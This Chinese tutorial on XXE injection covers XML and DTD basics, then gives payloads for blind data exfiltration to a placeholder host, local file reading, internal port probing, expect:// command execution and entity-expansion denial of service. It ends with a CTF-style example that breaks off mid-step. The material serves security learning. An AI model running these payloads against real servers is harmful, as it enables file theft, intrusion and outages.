引文
在平常的WEB渗透中,我们经常会遇到SQL注入、文件上传、SSRF、CSRF等一系列的漏洞,但XXE漏洞在座的读者们了解过吗。今天带大家了解一下这个危险程度同样很高的XXE漏洞。
简介
Xml外部实体注入漏洞(XML External Entity Injection)简称XXE,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可以构造加载恶意外部文件,进而通过恶意外部文件对服务器进行攻击。
基础知识
在了解XXE漏洞前,我们先看看什么是XML实体。XML根据简单概括为如下:可扩展标记语言 (Extensible Markup Language, XML) ,标准通用标记语言的子集,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML是标准通用标记语言 可扩展性良好,内容与形式分离,遵循严格的语法要求,保值性良好等优点。
可能单看文字读者们不太好理解,下面给大家简单举个例子:
上图就是一个简单的XML实体,用代码显示可以展示为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | < bookstore >
< book category = "COOKING" >
< title lang = "en" >Everyday Italian</ title >
< author >Giada De Laurentiis</ author >
< year >2005</ year >
< price >30.00</ price >
</ book >
< book category = "CHILDREN" >
< title lang = "en" >Harry Potter</ title >
< author >J K. Rowling</ author >
< year >2005</ year >
< price >29.99</ price >
</ book >
< book category = "WEB" >
< title lang = "en" >Learning XML</ title >
< author >Erik T. Ray</ author >
< year >2003</ year >
< price >39.95</ price >
</ book >
</ bookstore >
|
其中根的元素是 bookstore,book中 元素有子元素:author、title、year、price。
DTD
DTD(文档类型定义)可以合法的定义xml标签,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用,接下来带大家详细看一下它的内部结构以更好的去理解。
内部DOCTYPE声明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | <? xml version = "1.0" ?>
<!DOCTYPE note[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT X (#PCDATA)>
<!ELEMENT I (#PCDATA)>
<!ELEMENT N (#PCDATA)>
<!ELEMENT O (#PCDATA)>
]>
< note >
< to >I</ to >
< from >A</ from >
< head >M</ head >
< body >XINO!</ body >
</ note >
|
外部DOCTYPE声明
1 | <!DOCTYPE 根元素 SYSTEM "URL">
|
XML实体注入
了解了上面的基础知识后,我们便可以进一步学习XXE漏洞。
我们要想利用,首先要判断服务器会不会解析XML实体,所以开始时我们先上传一个测试文件来判断服务器是否能解析该类型,如果解析了,我们才可以继续利用这个漏洞。
1 2 3 4 5 | <? xml version = "1.0" encoding = "UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY name "hello">
]>
< root >&name;</ root >
|
判断服务器是否解析之后我们可以看看是否支持外部实体调用:
1 2 3 4 5 | <? xml version = "1.0" encoding = "UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "vps/hack.dtd">
]>
< root >&name;</ root >
|
判断完之后就可以做进一步测试了,比如:
无回显XXE(BLIND XXE)
我们将获取的数据发送到外部的http服务器上,后面查看http服务器即可查看到提取的数据内容。
举一个最简单的例子:
1 2 3 4 5 | #test.xml
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/x.php?1=%file;'"
>
%all;
|
对应的payload可以写作为:
1 2 3 4 5 6 | <!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/test.xml">
%remote;
%send;
]>
|
首先对 remote 引用的目的是将外部文件 test.xml 引入到文中,检测到 send 实体,在节点中引用 send,就可以成功实现数据转发。也就实现了数据的外带。
读取任意文件
这个也是XXE比较常用的方法,我们引入(或编辑)一个DOCTYPE元素,该元素定义一个包含文件路径的外部实体。
探测内网端口
我们利用XXE也可以进行内网探测端口(类似于SSRF),以用来进一步对机器照成攻击:
1 2 3 4 5 | <? xml version = "1.0" encoding = "utf-8" ?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">]>
< root >
|
命令执行
这个还是比较少见的,因为命令执行的条件比较苛刻,要求靶机php装有expect扩展,但这个扩展是默认不安装的,所以比较难利用。
1 2 3 4 5 6 7 | <? xml version = "1.0" encoding = "utf-8" ?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
< root >
< name >&xxe;</ name >
</ root >
|
dos拒绝服务
这个不是很了解,在网上浏览时注意到的,原理大概是利用迭代参数实体进行拒绝服务,让服务器的解析变得非常非常慢。
1 2 3 4 5 6 7 8 9 10 | <? xml version = "1.0" ?>
<!DOCTYPE xml [
<!ENTITY xxe1 "xxe">
<!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;">
<!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;">
<!ENTITY xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;">
<!ENTITY xxe5 "&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;">
<!ENTITY xxe6 "&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;">
]>
< test >&xxe6;</ test >
|
例题
[PHP]XXE
打开是一个登录界面:
在源码处会发现:
1 | < button id = "go" onclick = "XMLFunction()" >GO!</ button >
|
可以判断会解析XML文件,尝试构造payload直接读取文件:
1 2 3 4 5 6 7 8 | <? xml version = "1.0" encoding = "UTF-8" ?>
<!DOCTYPE root[
<!ENTITY admin SYSTEM "file:///flag">
]>
< root >
< username >&admin;</ username >
< password >xino</ password >
</ root >
|
抓包构造恶意数据然后发包: